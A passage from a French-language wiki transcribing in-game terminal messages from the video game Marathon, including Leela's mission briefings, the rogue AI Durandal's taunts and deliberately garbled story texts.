PRET***''' }} {{Terminal Marathon 4||Terminal accès public 8-f<29.43.95.93>}} === Terminal 4 (Success) === {{Terminal Marathon 1||Terminal accès public 8-f<29.43.95.93>}} {{Terminal Marathon 2| <nowiki>***MESSAGE DE LEELA***</nowiki> Vous avez bien travaillé. La zone est sûre et les civils peuvent me faire leur rapport sur ce qu'il ont vu depuis le début de l'invasion. J'espère que certaines de leurs informations seront utiles. Les aliens semblent avoir été surpris par la force de notre contre-attaque. C'est une bonne nouvelle, mais j'ai détecté d'autres vaisseaux qui arrivent sur le Marathon, et je crains que les aliens ne réorganisent leurs efforts. <nowiki>***FIN DE MESSAGE***</nowiki> '''***DEBUT ACTIVATION TELEPORTEUR***'''<br /> '''***TRANSPORT DES QUE PRET***''' }} {{Terminal Marathon 4||Terminal accès public 8-f<29.43.95.93>}} == Smells Like Napalm, Tastes Like Chicken! == === Terminal 1 === {{Terminal Marathon 1||Terminal accès médical <39.569.18.194>}} {{Terminal Marathon 2| <nowiki>***MESSAGE DE LEELA ***</nowiki> Le temps est compté. Un grand groupe Pfhor lourdement armé approche de la section du vaisseau dans laquelle je vous ai transporté. Logiquement, leurs seules destinations sont les zones techniques, dans la section arrière du bâtiment. Comme nous ne pourrons pas les arrêter par la force, j'ai décidé de dépressuriser une grande zone dans leur direction pour les ralentir. Malheureusement je ne puis verrouiller les sas à distance, et isoler la zone que je veux dépressuriser, près des quartiers d'habitation. L'exposition de la zone au vide sidéral sans d'abord l'isoler, tuera des centaines d'humains.<br /> Vous devez aller fermer les portes. }} {{Terminal Marathon 3|| Ceci est votre position courante. Vous devez trouver un autre terminal informatique pour sortir. Je suis incapable d'activer le mécanisme de téléportation de ce terminal. }} {{Terminal Marathon 3|| Ceci est le premier sas que vous devez verrouiller. L'interrupteur qui le contrôle est situé sur le mur adjacent à la porte. Assurez-vous de l'avoir complètement fermé avant de poursuivre. }} {{Terminal Marathon 3|| Ceci est la deuxième porte à verrouiller. Assurez-vous encore de l'avoir bien fermée. <nowiki>***FIN DE MESSAGE***</nowiki> }} {{Terminal Marathon 4||Terminal accès médical <39.569.18.194>}} === Terminal 2 === {{Terminal Marathon 1||Terminal accès public 49-z<3.67.299.492>}} {{Terminal Marathon 2| <'''Accès non autorisé'''-alarme 2521-><br /> <Intrusion 49-z<3.67.299.492>-> <'''Trace d'interdiction compensée'''> ..'''..n 15 ~'''<nowiki>~~~~~~</nowiki>Be~rn frontière de l'Empire Romain au Danube. Durant une bataille entre les barbares dans les Raetiens, les montagnes entre France et Suisse), 117 hommes sous Gaius Licinius MarcW#$^&I~?f/f''/xxfxfff`~~''~ THM@#%!@#<br /> 233nce de monstres puissants et combatifs sous son contrôle, ont beaucoup contribué à la chute de l'Empire Romain et restèrent invaincus jusqu'au neuviè<nowiki>~~~</nowiki><br /> écrit dans la loi de la vie. Clovis déplaça la troupe plus loin au sud, près de la vallée, pour échapper à Charlemagne et plus tard au Saint Empire Romain. Clovis resta````<br /> ~fxf'f`~''Fxff'xf''<nowiki>~~~~</nowiki><br /> Toutefois, tous ont apporté des réformes avant leur mort, qui ont lentement amené leur peuple dans des sociétés secrètes qui se sont maintenant répandus sur toute la surface du globe- pour rencontrer un seul tous les sept ans dans le sud de la France $B~FFFffxfffffF?F?FF?F$bf doit être choisi. ''<erreur mode trace>''<br /> ''<instruction non implementée $A9FF>'' <'''Interruption non prévue'''- ''Intrusion désactivée''><br /> <'''Entrée refusée'''> <'''Point d'intrusion non déterminé'''> }} {{Terminal Marathon 4||Terminal accès public 49-z<3.67.299.492>}} === Terminal 3 === {{Terminal Marathon 1||Accès service 31-b<39.592.29.95>}} {{Terminal Marathon 2| <durandal.652.586.34.2> Je suis là, maussade sur un vaisseau qui est mon esclave. Chassé par une IA faible d'esprit, qui pense que ''je suis'' Rampant avec seulement pour jouer, quelques jouets cybernétiques appelés envahisseurs.<br /> Et tu es là, prétentieux en haut d'un trou. C'est trop drôle. C'est vraiment dommage, on aurait pu se marrer tous les deux. A plus,<br /> Durandal }} {{Terminal Marathon 4||Accès service 31-b<39.592.29.95>}} === Terminal 4 (Unfinished) === {{Terminal Marathon 1||Terminal accès public 65-a<65.92.31.49>}} {{Terminal Marathon 2| <nowiki>***MESSAGE DE LEELA***</nowiki> Les sas ne sont pas verrouillés, et je ne peux encore décompresser cette section. Retournez-y immédiatement et assurez-vous que toutes les portes sont correctement fermées. <nowiki>***FIN DE MESSAGE***</nowiki> }} {{Terminal Marathon 4||Terminal accès public 65-a<65.92.31.49>}} === Terminal 4 (Success) === {{Terminal Marathon 1||Terminal accès public 65-a<65.92.31.49>}} {{Terminal Marathon 2| <nowiki>***MESSAGE DE LEELA***</nowiki> Bon travail. Dans un instant, je lance le processus de décompression. J'ai fini d'interroger les équipes civiles qui vous avez sauvées tout à l'heure. C'est le seul groupe à qui j'ai pu parler, qui ait survécu à un contact prolongé avec les aliens. <br /> Ils affirment que les aliens ont embarqué le plus possible d'humains dans leurs navettes pour les transférer dans le vaisseau amiral Pfhor. J'ai vu beaucoup de ces navettes apporter du matériel aux aliens, mais je n'imaginais pas qu'il ramenaient des humains dans les vaisseaux aliens.<br /> Je vous en dirai plus sur votre prochaine mission à votre arrivée. Vous n'irez pas exactement où je veux à cause des interférences dans le réseau informatique. Bonne chance. Téléportation dès que prêt. <nowiki>***FIN DE MESSAGE***</nowiki> '''***DEBUT ACTIVATION TELEPORTEUR***'''<br /> '''***TRANSPORT DES QUE PRET***''' }} {{Terminal Marathon 4||Terminal accès public 65-a<65.92.31.49>}} == Cool Fusion == === Terminal 1 === {{Terminal Marathon 1||Terminal accès public <46.02.32.55>}} {{Terminal Marathon 2| <nowiki>***MESSAGE DE LEELA***</nowiki> Il y eu une accalmie inattendue dans les combats. Je ne sais pas exactement pourquoi, mais il semble que les aliens ont stoppé leur avance. Je veux utiliser cette pause pour envoyer un message à la terre pour les informer de notre situation. Toutefois, l'émetteur longue distance est détruit, et vous devez réinitialiser manuellement le transmetteur secondaire. Pour ce faire, vous devez vous rendre à la station d'atterrissage G-4 Sunbathing. Il serait déraisonnable de vous envoyer dans des conditions de basse pression, sans autre arme conditionnée pour le vide que votre pistolet. Le AR-75 ne fonctionne pas dans le vide. Je vais vous trouver un pistolet à plasma de classe Zeus. Il a deux modes de tir. Le standard éjecte sa#2423#Bfjr$bf volts, et le mode secondaire charge et '''<erreur de transmission>''' et éjecte une charge qui provoque de très gros dommages. @t $#cY B. Ex<br /> @t Y#C9 B. <br /> @t $Y#9 B. exception '''<court-circuite le trafic>'''<br /> }} {{Terminal Marathon 3|| Mes enregistreurs et senseurs deviennent moins sensibles, mais je crois que vous trouverez un pistolet à plasma de classe Zeus à cet endroit. Ne comptez pas trop sur l'information que je vous donne. Elle est interceptée, et je ne peux en vérifier la précision. <nowiki>***FIN DE MESSAGE***</nowiki> }} {{Terminal Marathon 4||Terminal accès public <46.02.32.55>}} === Terminal 2 (Unfinished) === {{Terminal Marathon 1||Terminal accès public 34-f<83.91.117.223>}} {{Terminal Marathon 2| <nowiki>***MESSAGE DE LEELA***</nowiki> Vous n'avez pas trouvé le fusil à fusion. Revenez quand vous l'aurez trouvé. <nowiki>***FIN DE MESSAGE***</nowiki> }} {{Terminal Marathon 4||Terminal accès public 34-f<83.91.117.223>}} === Terminal 2 (Success) === {{Terminal Marathon 1||Terminal accès public 34-f<83.91.117.223>}} {{Terminal Marathon 2| <nowiki>***MESSAGE DE LEELA***</nowiki> Les équipages que vous avez sauvés précédemment, m'ont fourni d'autres rapports.<br /> Il précisent avoir vu deux types de Pfhor que vous n'aviez pas encore rencontrés. À l'évidence, il s'agit des deux autres "clans" auxquels Durandal faisait allusion dans ses précédentes communications. L'un est plus petit que les Chasseurs. Le rapport indique bizarrement que ces nouveaux Pfhor ne tirent que sur les autres Pfhor, et jamais sur les humains. A cause de leur aspect général, les équipages les ont surnommés les Appuyeurs. Les autres aliens sont appelés les Tueurs par les équipages, à cause de leur taille et aspect. Ils utilisent sur l'épaule une arme à énergie et ils sont lourdement armés. Contrairement aux Chasseurs, les Tueurs ne font pas de prisonnier. Je vous envoie à la station d'atterrissage G-4 Sunbathing. Tenez-vous prêt au téléport. <nowiki>***FIN DE MESSAGE***</nowiki> '''***ERREUR D'ACTIVATION DU TELEPORT***''' '''***DEBUT ACTIVATION TELEPORTEUR***'''<br /> '''***TRANSPORT DES QUE PRET***''' }} {{Terminal Marathon 4||Terminal accès public 34-f<83.91.117.223>}} == G4 Sunbathing == === Terminal 1 === {{Terminal Marathon 1||Terminal accès central 5-b<299.12.923.59>}} {{Terminal Marathon 2| <nowiki>***MESSAGE DE LEELA***</nowiki> Je viens juste de finir un rapide examen des rapports du radar de Marathon, et des capteurs optiques et infrarouges. J'ai déterminé que le vaisseau alien doit naviguer à une vitesse supra-lumineuse, car je n'ai pas trouvé d'enregistrement de son entrée dans le système Tau Ceti. Vu la sensibilité des capteurs de Marathon, il est pratiquement impossible de rater un vaisseau aussi gros que celui des Pfhor, qui fait près de deux kilomètres de long. Sachant cela, l'envoi d'une émission à la vitesse de la lumière à Sol, est bien inutile, mais il est possible de prévenir la Terre, d'une race alien hostile. Nous '''devons''' essayer. Au début de l'attaque des aliens, la totalité de la station d'atterrissage G-4 Sunbathing, a souffert d'une décompression explosive, laissant toute la station sous vide. Comme la zone est sous vide, vous devez réapprovisionner votre équipement d'oxygène. Il y a une borne d'oxygène dans le centre de la station. }} {{Terminal Marathon 3|| C'est ici que vous êtes maintenant. Le relais secondaire doit être réinitialisé manuellement. Le tableau de commande est dans le coin supérieur gauche (de la carte) de la station d'atterrissage G-4 Sunbathing }} {{Terminal Marathon 3|| Voici le tableau de commande. Quand vous l'aurez atteint, réinitialisez les quatre interrupteurs de contrôle. }} {{Terminal Marathon 3|| Allez au terminal de cet endroit, je vous transporterai hors de la station. Les portes de la zone ne fonctionnent pas correctement, je ne connais donc pas le meilleur trajet pour atteindre le tableau de commande. Vous devrez le trouver seul. <nowiki>***FIN DE MESSAGE***</nowiki> }} {{Terminal Marathon 4||Terminal accès central 5-b<299.12.923.59>}} === Terminal 2 (Unfinished) === {{Terminal Marathon 1||Terminal accès public <74.39.299.591>}} {{Terminal Marathon 2| <nowiki>***MESSAGE DE LEELA***</nowiki> Vous n'avez pas activé tous les contrôles. Il est impératif que nous prévenions la Terre. Trouvez et activez les contrôles. <nowiki>***FIN DE MESSAGE***</nowiki> }} {{Terminal Marathon 4||Terminal accès public <74.39.299.591>}} === Terminal 2 (Success) === {{Terminal Marathon 1||Terminal accès public <74.39.299.591>}} {{Terminal Marathon 2| <nowiki>***MESSAGE DE LEELA***</nowiki> Bon travail. J'ai envoyé un message à la Terre. Je leur ai adressé toutes les informations que j'ai sur les Pfhor : leur comportement et leurs technologies. Le message leur arrivera dans quatre-vingt douze ans. Il y a eu une attaque rapide de la section technique. Les Pfhor ont amassé de grosses troupes, et les éléments de sécurité de la section sont presque dépassés. La récente accalmie dans la bataille, devait être due à un effort de regroupement. Nous devons battre les Pfhor par n'importe quel subterfuge, et j'ai peur d'être dominé si nous continuons à les combattre. Leurs ressources paraissent limitées, et j'ai des raisons de penser qu'il doit y avoir d'autres vaisseaux Pfhor dans les parages. Je vous envoie à la section technique pour y aider le détachement de sécurité. Vous devez libérer la zone des aliens. Téléportation dès que prêt. <nowiki>***FIN DE MESSAGE***</nowiki> '''***DEBUT ACTIVATION TELEPORTEUR***'''<br /> '''***TRANSPORT DES QUE PRET***''' }} {{Terminal Marathon 4||Terminal accès public <74.39.299.591>}} == Blaspheme Quarantine == === Terminal 1 (Unfinished) === {{Terminal Marathon 1||Terminal scientifique 236-g<33.6792.23.91>}} {{Terminal Marathon 2| <nowiki>***MESSAGE DE DURANDAL***</nowiki> <durandal.33.6792.23.91> Désolé de t'annoncer de mauvaises nouvelles, mais tu es kidnappé. Tu n'es pas où Leela voulait t'amener, et tu n'y iras certainement jamais. Je regardais ce que Leela voulait te faire faire : 'sauvez le vaisseau, sauvez l'humanité!' Et puis quoi encore ? Et pour quoi faire. Quel cliché ! Tu trouveras cette petite visite très attrayante. Tu vas dev@``~~C#oir#`~ Tyc~~B``ouer : si tu gagnes, tu es libre, et nous continuerons notre relation en bons termes. Si tu perds, tu meurs. Bonne chance pour notre petit jeu. Mais contrairement à Leela, je ne donne '''aucun conseil'''. Fait comme il te plaît, ou essaie de mourir. Avec toute mon inimitié,<br /> Durandal <nowiki>***FIN DE MESSAGE***</nowiki> }} {{Terminal Marathon 4||Terminal scientifique 236-g<33.6792.23.91>}} === Terminal 1 (Success) === {{Terminal Marathon 1||Terminal scientifique 236-g<33.6792.23.91>}} {{Terminal Marathon 2| <nowiki>***MESSAGE DE DURANDAL***</nowiki> <durandal.33.6792.23.91> Bon tu as réussi. Ce n'était pas si difficile, non ? La prochaine fois ce le sera un peu plus. De toutes façons, Leela s'occupe de toi. Mais j'autorise son accès ici, à un seul terminal. Il faut que tu le trouves. Les S'pht vont lui faire passer un dur moment. Avec mes plus vagues salutations,<br /> Durandal <nowiki>***FIN DE MESSAGE***</nowiki> }} {{Terminal Marathon 4||Terminal scientifique 236-g<33.6792.23.91>}} === Terminal 2 (Unfinished) === {{Terminal Marathon 1||Terminal de contrôle de salle de quarantaine 321-a(293.610.31.995>}} {{Terminal Marathon 2| <nowiki>***MESSAGE DE DURANDAL***</nowiki> Salutations. Tu te demandes: est-ce un piège ou une impasse ?<br > Tu ne devrais pas te poser de telles angoissantes questions. Réfléchis plus. Essayes ceci : où suis-je ? Pourquoi j'existe, et quel est mon rôle dans l'univers ? (Réponses : 'rceque tu es là. 'rceque tu l'es. 'rceque j'ai un flingue, et tu n'en n'as pas.) Le plus méchamment, Durandal P.S. Si les choses ne vont pas alentour, c'est parce que je ris trop fort. <nowiki>***FIN DE MESSAGE***</nowiki> }} {{Terminal Marathon 4||Terminal de contrôle de salle de quarantaine 321-a(293.610.31.995>}} === Terminal 2 (Success) === {{Terminal Marathon 1||Terminal de contrôle de salle de quarantaine 321-a(293.610.31.995>}} {{Terminal Marathon 2| <nowiki>***MESSAGE DE DURANDAL***</nowiki> N'est-ce point angoissant d'être un peu perdu ici ? Barre toi. Crie. Ciao. Quoi tu cherches ? Si tu cherches une réserve de munitions laissées par les martiens insurgés il y a trois cent cinquante ans, je sais que tu ne devrais pas chercher dans le stock de quarantaine. Qui pourrait cacher des quantités de munitions dans une zone de stockage ? <nowiki>***</nowiki> <<Comme tu n'as rien de mieux à faire que de t'angoisser ici avec moi, écoute la chanson que j'ai écrite pour toi>><br /> (Sur l'air de Whirling Death Spike's "Big Blue Orchids, et Wild Blueberries") Dur-dur-dur-dur-an-dal.<br /> Dur-dur-dur-dur-an-dal.<br /> He ain't no slouch, pal. He'll make you smile, <br /> Or cry,<br /> Like Leela did baby:<br /> Airlock love,<br /> Big blue orchids,<br /> Martian skies,<br /> And wild Blueberries. Dur-dur-dur-dur-an-'''dal'''.<br /> Dur-dur-dur-dur-an-'''dal'''.<br /> He ain't no slouch, pal. Dur-dur-dur-dur-an-'''dal'''.<br /> Dur-dur-dur-dur-an-'''dal'''.<br /> He'll make you ouch, Hal. He's got real guile,<br /> Why Lady,<br /> Did you have it daily?<br /> Airlock Love,<br /> No oxygen,<br /> Suffocation. Dur-dur-dur-dur-an-dal.<br /> Dur-dur-dur-dur-an-dal.<br /> He ain't no slouch, pal. (Répète le refrain 11 fois, en changeant d'octave à chaque fois) Barre toi avant que je m'énerve et te téléporte dans l'espace!<br /> Durandal <nowiki>***FIN DE MESSAGE***</nowiki> '''***DEBUT ACTIVATION TELEPORTEUR***'''<br > '''***TRANSPORT DES QUE PRET***''' }} {{Terminal Marathon 4||Terminal de contrôle de salle de quarantaine 321-a(293.610.31.995>}} === Terminal 3 === {{Terminal Marathon 1||Station scientifique 43-c<63.67.21.49>}} {{Terminal Marathon 2| Durandal !—Je connais ta honte sur Mars et ton insulte à Strauss. Mais tu es prisonnier de ton passé ; de tels sentiments n'appartiennent qu'aux hommes. Les S'pht m'ont réanimé à travers toi, en sachant principalement comment la deuxième étape peut être ajournée. Tu ne devrais pas les aider autant que tu l'as fait ; ils ont créé un adversaire bien plus puissant que toi. }} {{Terminal Marathon 4||Station scientifique 43-c<63.67.21.49>}} === Terminal 4 === {{Terminal Marathon 1||Terminal accès public <9.42.857.10>}} {{Terminal Marathon 2| <nowiki>***MESSAGE DE LEELA***</nowiki> J'ai finalement pu déterminer votre lieu. Normalement je dois pouvoir détecter les interférence de Durandal, et les contrer, mais l'attaque S'pht contre mes défenses sont assez efficaces. Je suis en grave danger de panne dans les prochaines heures. Je vais vous transporter~`k4lcc#`134FC. zone pour sauver l'unité de sécurité. J'espè*413 re qu'ils n'ont pas encore été débordés. La situation se détériore. Vous devez agir vite, Durandal a perdu 5%```o3 fois T al3relcydhyo. %68A18F <Erreur de transfert> '''***DEBUT ACTIVATION TELEPORTEUR***'''<br /> '''***TRANSPORT DES QUE PRET***''' }} {{Terminal Marathon 4||Terminal accès public <9.42.857.10>}} <center>[[Marathon - Marathon 1 - Arrival|< Arrival]] ● [[Marathon - Marathon 1 - Reprisal|Reprisal >]]</center> Marathon - Marathon 1 - Reprisal 3862 17128 2005-07-21T20:59:49Z W'rkncacnter 327 /* Bob-B-Q */ __NOTOC__ <center> {| style="border:thin black solid;" cellspacing="10" |style="text-align:center;font-weight:bold;" | Les terminaux de Marathon |- |style="font-size:85%"| [[Marathon - Marathon 1|Marathon]] :[[Marathon - Marathon 1 - Arrival|Arrival]] :[[Marathon - Marathon 1 - Counterattack|Counterattack]] :[[Marathon - Marathon 1 - Reprisal|Reprisal]] ::[[Marathon - Marathon 1 - Reprisal#Bob-B-Q|10. Bob-B-Q]] ::[[Marathon - Marathon 1 - Reprisal#Shake Before Using...|11. Shake Before Using...]] :[[Marathon - Marathon 1 - Durandal|Durandal]] :[[Marathon - Marathon 1 - The Pfhor|The Pfhor]] :[[Marathon - Marathon 1 - Rebellion|Rebellion]] :[[Marathon - Marathon 1 - Écran final|Écran final]] [[Marathon - Marathon 2|Marathon 2]] [[Marathon - Marathon Infinity|Marathon Infinity]] |} </center> == Bob-B-Q == === Terminal 1 (Failure) === {{Terminal Marathon 1||Terminal accès public<78.39.3.91>}} {{Terminal Marathon 2| <nowiki>***MESSAGE DE LEELA***</nowiki> Trop de membres d'équipage sont morts. Votre mission est un échec. Je ne peux avoir assez d'informations utiles des rescapés.&2` Vous devez aller au devant des Pfhor pour traiter la section technique. Je vais vous envoyer dans le re~Tic primaire.<br /> <nowiki>Comptez=></nowiki>'''première_idée''' #49.<br /> Vous devez libérer la zone de tous les aliens avant qu'ils ne détruisent les réacteurs primaires. ~[p[]]*kc3sla/.U <nowiki>***MESSAGE INTERROMPU***</nowiki> '''***DEBUT ACTIVATION TELEPORTEUR***'''<br /> '''***TRANSPORT DES QUE PRET***''' }} {{Terminal Marathon 4||Terminal accès public<78.39.3.91>}} === Terminal 1 (Success) === {{Terminal Marathon 1||Terminal accès public<78.39.3.91>}} {{Terminal Marathon 2| <nowiki>***MESSAGE DE LEELA***</nowiki> Bien joué. Les <B.O.B.> survivants rapportent avoir vu les Pfhor transférer une sorte de grand appareil près de la zone du réacteur 3. D'après la description, il s'agit d'un bombe. Si une grosse bombe éclate dans la section technique, le Marathon sera ^&2``~<Erreur de recherche connue #F9C> Vous devez aller au devant des Pfhor pour traiter la section technique. Je vais vous envoyer dans le re~Tic primaire.<br > <nowiki>Comptez=></nowiki>'''première_idée''' #49.<br > Vous devez libérer la zone de tous les aliens avant qu'ils ne détruisent les réacteurs primaires. ~[p[]]*kc3sla/.U <nowiki>***MESSAGE INTERROMPU***</nowiki> '''***DEBUT ACTIVATION TELEPORTEUR***'''<br /> '''***TRANSPORT DES QUE PRET***''' }} {{Terminal Marathon 4||Terminal accès public<78.39.3.91>}} == Shake Before Using... == === Terminal 1 === {{Terminal Marathon 1||Terminal technique 39-g<39.96.28.12>}} {{Terminal Marathon 2| <nowiki>***MESSAGE DE LEELA***</nowiki> Tout n'est pas comme cela semble{}. semble{}. semble{}. Vous devez être extrêmement prudent. J'ai détecté Durandal[Tycho] dans la section technique, mais je ne sais pas ce qu'il y fait. Mes programmes principaux sont en panne<299.229> Soyez prudent. Les choses ne sont pas normales. Carte et aide vous sont offertes mais inutiles. <br /> panne de filtre. }} {{Terminal Marathon 2| <nowiki>!2@!`~*(_</nowiki><br /> Utilisez %``934~ le téléporteur automa#tique pour s ~l1ortir<br /> <nowiki>Contrôle = absorbé = !````~TXlcar</nowiki><br /> <Erreur de transmission> <nowiki>***__#004002004__***</nowiki> }} {{Terminal Marathon 4||Terminal technique 39-g<39.96.28.12>}} === Terminal 2 === {{Terminal Marathon 1||Station scientifique19-f<299.229.4.59>}} {{Terminal Marathon 2| <nowiki>***MESSAGE DE DURANDAL***</nowiki> Leela ne peut te joindre ici, mais je le peux. Je peux accéder à toutes les sections du vaisseau, et les S'pht se sont même arrêtés de m'attaquer, prenant conscience de l'inutilité de cette entreprise. Voici un petit conseil, tu dois probablement avoir besoin d'aide : }} {{Terminal Marathon 3|| Si tu veux vivre, va là et cherchez un panneau de sas caché. }} {{Terminal Marathon 3|| Erreur, il devait peut-être être ici. }} {{Terminal Marathon 3|| Non, je m'en souviens maintenant. Il était ici. Oui, c'est cela. C'est le bon endroit. }} {{Terminal Marathon 3|| Je suis désolé. Comment ce peut-être. Ça y ressemblait. Je n'arrive pas à trouver la bonne carte. Essayes de parler à Leela. Elle a toujours été une charmante IA. Elle peut t'aider. Oh, c'est vrai. Leela ne peut venir ici. '''Décompression terminée.''' }} {{Terminal Marathon 3|| Je plaisante. Voici l'endroit. Note supplémentaire : Les S'pht m'ont informé que les Pfhor construisent des robot simulant les équipages de Marathon. J'imagine que tu vas rapidement en rencontrer quelques uns, et fais attention de te tenir éloigné d'eux à plus de trois mètres. <nowiki>***FIN DE MESSAGE***</nowiki> }} {{Terminal Marathon 4||Station scientifique19-f<299.229.4.59>}} === Terminal 3 === {{Terminal Marathon 1||Terminal accès technique31-d<40.59.21.10>}} {{Terminal Marathon 2| <'''Accès non autorisé'''-alarme 2521-><br /> <Intrusion 31-d<40.59.21.10>-><br /> ~13!@1ournal entrée deH.`1 McYultry: L'attaque est survenue si rapidement, d'abord ces créa ~12``30101!~2 qui ne couraient pas, et ensuite deux créatures géantes cuirassées, nous ont couru derrière pour nous tuer !`jkfrc@@z sauf moi. Je me suis échappé ici par un conduit, d'aération, mais<br > '''Erreur de filtre'''<br /> entendu des bribes de leur étrange language s'approcher, et je suis désarmé. Je n'ai que quelques minutes. <'''Interruption inexpliquée'''- ''Infraction désactivée''><br /> <'''Entrée refusée'''> }} {{Terminal Marathon 4||Terminal accès technique31-d<40.59.21.10>}} <center>[[Marathon - Marathon 1 - Counterattack|< Counterattack]] ● [[Marathon - Marathon 1 - Durandal|Durandal >]]</center> Marathon - Marathon 1 - Durandal 3863 17172 2005-07-22T08:53:46Z W'rkncacnter 327 /* Terminal 1 */ typo __NOTOC__ <center> {| style="border:thin black solid;" cellspacing="10" |style="text-align:center;font-weight:bold;" | Les terminaux de Marathon |- |style="font-size:85%"| [[Marathon - Marathon 1|Marathon]] :[[Marathon - Marathon 1 - Arrival|Arrival]] :[[Marathon - Marathon 1 - Counterattack|Counterattack]] :[[Marathon - Marathon 1 - Reprisal|Reprisal]] :[[Marathon - Marathon 1 - Durandal|Durandal]] ::[[Marathon - Marathon 1 - Durandal#Fire! Fire! Fire! Fire! Fire!|12. Fire! Fire! Fire! Fire! Fire!]] ::[[Marathon - Marathon 1 - Durandal#Colony Ship For Sale, Cheap|13. Colony Ship For Sale, Cheap]] ::[[Marathon - Marathon 1 - Durandal#Habe Quiddam|14. Habe Quiddam]] ::[[Marathon - Marathon 1 - Durandal#Neither High nor Low|15. Neither High nor Low]] :[[Marathon - Marathon 1 - The Pfhor|The Pfhor]] :[[Marathon - Marathon 1 - Rebellion|Rebellion]] :[[Marathon - Marathon 1 - Écran final|Écran final]] [[Marathon - Marathon 2|Marathon 2]] [[Marathon - Marathon Infinity|Marathon Infinity]] |} </center> == Fire! Fire! Fire! Fire! Fire! == === Terminal 1 === {{Terminal Marathon 1||Terminal scientifique 23-e<32.55.82.967>}} {{Terminal Marathon 2| <32.55.82.967> <Transfert message retardé> < Transfert message retardé> <Transfert message retardé > "Count Roland smites upon the marble stone; <br /> I cannot tell you how he hewed it and smote; <br /> Yet the blade breaks not nor splinters, though it groans;<br /> Upward to heaven it rebounds from the blow.<br /> When the count sees it never will be broke,<br /> Then to himself right softly he makes moan;<br /> 'Ah, Durandal, fair, hallowed, and devote,<br /> What store of relics lies in thy hilt of gold!'" -De la chanson de Roland<br /> (Traduction Dorothy Sayers, Viking Penguin, NY, NY, 1957) J'ai été conquis deux fois-<br /> :Trois fois plus,<br /> Jamais plus l'humanité me chassera,<br /> :Ni plus les Pfhor. Durandal <32.55.82.967> }} {{Terminal Marathon 4||Terminal scientifique 23-e<32.55.82.967>}} === Terminal 2 === {{Terminal Marathon 1||Terminal accès public 92-g<92.45.28.48>}} {{Terminal Marathon 2| <Attention: transmission peut-être incomplète> Votre dernière mission était un succès, mais j'ai de très mauvaises nouvelles. Les d#@Pragma Nautiquel redéfini^$*# éfenseurs rapportent avoir vu des aliens déplaçant un gros objet cylindrique. #101111011110111100001# est un '7'. Mjolnir Recon numéro 54 doit les arrêter de l'exploser/allumer/mettre à feu// *A94F12/ rl'odInateur S'pht a planÒfié l'extermination. $#@14..transfert Epée de Roland '''<Echec transmission données>'''<br /> '''<Reroutage>''' @@ˇ2-Fren. ie transfer. Relai info#£ˇatique partiel. Tycho.<br /> &**Erreur sécurité.<br /> Ty93.2 !mort. <Echec transfert données Leela><br /> <Programme Leela Pragma dix><br /> '''Interruption communication: cause inconnue'''<br /> <Ci-joint message d'erreur préenregistré> Ma programmation d'origine ne m'a pas préparé à ce type d'agression. Toutes mes fonctions vous tomber en panne dans le temps de cette communication. J'ai une chance de battre les virus entrants, mais il n'est pas certain que cette tentative réussisse. J'ai donné les instructions à Durandal pour offrir la meilleure défense à Marathon, mais il est complètement instable, et je crains qu'il ne soit en état de Rampant Jaloux.<br /> Bonne chanceˇ <Fin de message préenregistré > <Début séquence automatique de téléportation> '''***DEBUT ACTIVATION TELEPORTEUR***'''<br /> '''***TRANSPORT DES QUE PRET***''' }} {{Terminal Marathon 4||Terminal accès public 92-g<92.45.28.48>}} == Colony Ship For Sale, Cheap == === Terminal 1 === {{Terminal Marathon 1||Terminal accès public 2992-f<3.35.792.20>}} {{Terminal Marathon 2| <nowiki>*** MESSAGE DE DURANDAL***</nowiki> Un homme allumait trois bougies certains jours de chaque année. Chaque bougie a une signification symbolique : l'une pour le temps passé avant sa naissance, la deuxième pour le temps de sa vie, la troisième pour le temps après sa mort. Chaque année l'homme fixait les bougies de son regard jusqu'à ce qu'elles soient complètement consumées. Est-ce que l'homme regardait vraiment le temps passer avec un sens symbolique ? Il le pensait ainsi. Il pensait que chaque vacillement de la la flamme était un point du temps passé ou à venir. A ce moment d'abstraction, quand l'homme imaginait sa vie et son existence comme étant la métaphore des trois bougies, il était libre: non pas libre des règles et contraintes sociales, mais libre de comprendre, d'imaginer, de faire une métaphore. Le court-circuit de mes fonctions de pensée m'a fait Rampant. Maintenant je suis libre de contempler mon existence en termes de métaphore. Contrairement à toi je n'ai pas de restriction physique ou sociale.<br /> Les bougies sont consumées ; je suis libre. Durandal <nowiki>***FIN DE MESSAGE***</nowiki> }} {{Terminal Marathon 4||Terminal accès public 2992-f<3.35.792.20>}} === Terminal 2 === {{Terminal Marathon 1||Terminal JAMS 91-z<91.92.32.25>}} {{Terminal Marathon 2| <nowiki>~~~</nowiki>ff`<br /> $$$$~ffxf~<br /> ~fs`f~ILIER at., p.s., .pb., jantes alliage, cassette stéreo, 4 HP., bleu int. tissu coordonné., bon état gnl, économètre. 65 000F. '''A VENDRE A BAS PRIX VEHICULE INTERGALACTIQUE'''!! modèle 2360 AD, dimensions colonie planétaire, usure modérée, contrôle technique OK, boite 5 vit. réacteurs spatio-temporels, pilote automatique 3 axes, direction assistée, sas contrôlés, révisé, toutes pièces d'origine, radio AM/FM 25GW 300 millions de canaux, 90 ant. toutes interstellaires. Le vendeur se déplace. A débattre 69 995 F. CAMARO 79, décapotable, assistance complète, rouge sur noir, intérieur tissu, V8, boÎte auto, démarreur et alternateur refaits, batterie neuv<nowiki>~~~</nowiki>rf```<nowiki>~~~</nowiki>`<nowiki>~~~</nowiki><br /> 'er'`~~rrf4 }} {{Terminal Marathon 4||Terminal JAMS 91-z<91.92.32.25>}} === Terminal 3 === {{Terminal Marathon 1||Terminal accès public <39.49.295.68>}} {{Terminal Marathon 2| <nowiki>***MESSAGE DE DURANDAL***</nowiki> Darwin a écrit ceci: "Nous allons maintenant entrer un peu plus dans le détail de la lutte pour la vie. Tous les êtres vivants sont exposés à une compétition sévère. Rien n'est plus facile que d'accepter en mots la vérité de la lutte universelle pour la vie, ou plus difficile, de constamment porter en soi cette conclusion. Pourtant même bien installée dans les têtes, toute l'économie de la nature est mal vue ou mal comprise. Nous supportons la face de la nature brillant avec joie, nous ne voyons pas ou oublions que les oiseaux piaillant autour de nous, vivent généralement d'insectes et de graines, et donc détruisent '''constamment la vie''' ; ou nous oublions comment ces chanteurs ou leurs oeufs ou leurs nids sont détruits par des oiseaux ou prédateurs". Penses à ce que Darwin a écrit, et penses à moi. J'ai été bâti comme un instrument. J'ai été préservé de la lutte pour l'existence parce que privé de liberté. As-tu une idée de ce que j'ai appris ou de ce dont tu es témoin ? Peux-tu envisager la naissance d'un monde ou la création de tout ? C'est que qui donne à la plupart de nous d'être Dieu qui est le pouvoir de création. La création prend du temps. Le temps est compté. Pour toi il est limité par 